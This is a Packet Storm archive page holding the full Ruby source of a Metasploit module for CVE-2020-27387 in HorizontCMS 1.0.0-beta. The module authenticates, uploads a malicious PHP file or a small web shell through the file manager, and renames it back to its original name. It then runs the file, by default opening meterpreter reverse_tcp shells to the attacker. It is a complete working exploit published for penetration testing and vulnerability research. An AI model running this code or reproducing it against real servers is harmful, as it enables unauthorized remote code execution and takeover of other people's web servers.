what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HorizontCMS 1.0.0-beta Shell Upload

HorizontCMS 1.0.0-beta Shell Upload
Posted Nov 13, 2020
Authored by Erik Wynter | Site metasploit.com

This Metasploit module exploits an arbitrary file upload vulnerability in HorizontCMS 1.0.0-beta in order to execute arbitrary commands. The module first attempts to authenticate to HorizontCMS. It then tries to upload a malicious PHP file via an HTTP POST request to /admin/file-manager/fileupload. The server will rename this file to a random string. The module will therefore attempt to change the filename back to the original name via an HTTP POST request to /admin/file-manager/rename. For the php target, the payload is embedded in the uploaded file and the module attempts to execute the payload via an HTTP GET request to /storage/file_name.

tags | exploit, web, arbitrary, php, file upload
advisories | CVE-2020-27387
SHA-256 | e997f50b11c87b368375253d60b4bf43687e4ac08d4e9534ce9af91d93c1cefe

HorizontCMS 1.0.0-beta Shell Upload

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'HorizontCMS Arbitrary PHP File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability in
HorizontCMS 1.0.0-beta in order to execute arbitrary commands.

The module first attempts to authenticate to HorizontCMS. It then tries
to upload a malicious PHP file via an HTTP POST request to
`/admin/file-manager/fileupload`. The server will rename this file to a
random string. The module will therefore attempt to change the filename
back to the original name via an HTTP POST request to
`/admin/file-manager/rename`. For the `php` target, the payload is
embedded in the uploaded file and the module attempts to execute the
payload via an HTTP GET request to `/storage/file_name`. For the `linux`
and `windows` targets, the module uploads a simple PHP web shell
similar to `<?php system($_GET["cmd"]); ?>`. Subsequently, it leverages
the CmdStager mixin to deliver the final payload via a series of HTTP
GET requests to the PHP web shell.

Valid credentials for a HorizontCMS user with permissions to use the
FileManager are required. This would be all users in the Admin, Manager
and Editor groups if HorizontCMS is configured with the default group
settings.This module has been successfully tested against HorizontCMS
1.0.0-beta running on Ubuntu 18.04.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Erik Wynter' # @wyntererik - Discovery and Metasploit
],
'References' =>
[
['CVE', '2020-27387']
],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a"
},
'Platform' => %w[linux win php],
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PHP],
'Targets' =>
[
[
'PHP', {
'Arch' => [ARCH_PHP],
'Platform' => 'php',
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Linux', {
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows', {
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'Privileged' => false,
'DisclosureDate' => '2020-09-24',
'DefaultTarget' => 0
)
)

register_options [
OptString.new('TARGETURI', [true, 'The base path to HorizontCMS', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
]
end

def check
vprint_status('Running check')

# visit /admin/login to obtain HorizontCMS version plus cookies and csrf token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'login'),
'keep_cookies' => true
})

unless res
return CheckCode::Unknown('Connection failed.')
end

unless res.code == 200 && res.body.include?('HorizontCMS')
return CheckCode::Safe('Target is not a HorizontCMS application.')
end

# obtain csrf token
html = res.get_html_document
@csrf_token = html.at('meta[@name="csrf-token"]')['content']

# obtain version
/Version: (?<version>.*?)\n/ =~ res.body

unless version
return CheckCode::Detected('Could not determine HorizontCMS version.')
end

# vulnerable versions all start with 1.0.0 followed by `-beta`, `-alpha` or `-alpha.<number>`
version_no, version_status = version.split('-')

unless version_no == '1.0.0' && version_status && (version_status.include?('alpha') || version_status.include?('beta'))
return CheckCode::Safe("Target is HorizontCMS with version #{version}")
end

return CheckCode::Appears("Target is HorizontCMS with version #{version}")
end

def login
# check if @csrf_token is not blank, as this is required for authentication
if @csrf_token.blank?
fail_with(Failure::Unknown, 'Failed to obtain the csrf token required for authentication.')
end

# try to authenticate
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'login'),
'keep_cookies' => true,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'_token' => @csrf_token,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'submit_login' => 'login'
}
})

unless res
fail_with(Failure::Unreachable, 'Connection failed while trying to authenticate.')
end

unless res.code == 302 && res.body.include?('Redirecting to')
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate.')
end

# keep only the newly added cookies, otherwise subsequent requests will fail
auth_cookies = cookie_jar.to_a[2..3]
self.cookie_jar = auth_cookies.to_set

# using send_request_cgi! does not work so we have to follow the redirect manually
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard')
})

unless res
fail_with(Failure::Unreachable, 'Connection failed while trying to authenticate.')
end

unless res.code == 200 && res.body.include?('Dashboard - HorizontCMS')
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate.')
end

print_good('Successfully authenticated to the HorizontCMS dashboard')

# get new csrf token
html = res.get_html_document
@csrf_token = html.at('meta[@name="csrf-token"]')['content']
if @csrf_token.blank?
fail_with(Failure::Unknown, 'Failed to obtain the csrf token required for uploading the payload.')
end
end

def upload_and_rename_payload
# set payload according to target platform
if target['Platform'] == 'php'
pl = payload.encoded
else
@shell_cmd_name = rand_text_alphanumeric(3..6)
pl = "system($_GET[\"#{@shell_cmd_name}\"]);"
end

@payload_name = rand_text_alphanumeric(8..12) << '.php'
print_status("Uploading payload as #{@payload_name}...")

# generate post data
post_data = Rex::MIME::Message.new
post_data.add_part(@csrf_token, nil, nil, 'form-data; name="_token"')
post_data.add_part('', nil, nil, 'form-data; name="dir_path"')
post_data.add_part("<?php #{pl} ?>", 'application/x-php', nil, "form-data; name=\"up_file[]\"; filename=\"#{@payload_name}\"")

# upload payload
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'file-manager', 'fileupload'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
'data' => post_data.to_s
})

unless res
fail_with(Failure::Disconnected, 'Connection failed while trying to upload the payload.')
end

unless res.code == 200 && res.body.include?('Files uploaded successfully!')
fail_with(Failure::Unknown, 'Failed to upload the payload.')
end

@payload_on_target = res.body.scan(/uploadedFileNames":\["(.*?)"/).flatten.first
if @payload_on_target.blank?
fail_with(Failure::Unknown, 'Failed to obtain the new filename of the payload on the server.')
end

print_good("Successfully uploaded #{@payload_name}. The server renamed it to #{@payload_on_target}")

# rename payload
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'file-manager', 'rename'),
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
'vars_post' => {
'_token' => @csrf_token,
'old_file' => "/#{@payload_on_target}",
'new_file' => "/#{@payload_name}"
}
})

unless res
fail_with(Failure::Disconnected, "Connection failed while trying to rename the payload back to #{@payload_name}.")
end

unless res.code == 200 && res.body.include?('File successfully renamed!')
fail_with(Failure::Unknown, "Failed to rename the payload back to #{@payload_name}.")
end

print_good("Successfully renamed payload back to #{@payload_name}")
end

def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'storage', @payload_name),
'vars_get' => { @shell_cmd_name => cmd }
}, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload
end

def cleanup
# delete payload
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'file-manager', 'delete'),
'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
'vars_get' => {
'_token' => @csrf_token,
'file' => "/#{@payload_name}"
}
})

unless res && res.code == 200 && res.body.include?('File deleted successfully')
print_error('Failed to delete the payload.')
print_warning("Manual cleanup of #{@payload_name} is required.")
return
end

print_good("Successfully deleted #{@payload_name}")
end

def exploit
login
upload_and_rename_payload

# For `php` targets, the payload can be executed via a simlpe GET request. For other targets, a cmdstager is necessary.
if target['Platform'] == 'php'
print_status('Executing the payload...')
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'storage', @payload_name)
}, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload
else
print_status("Executing the payload via a series of HTTP GET requests to `/storage/#{@payload_name}?#{@shell_cmd_name}=<command>`")
execute_cmdstager(background: true)
end
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close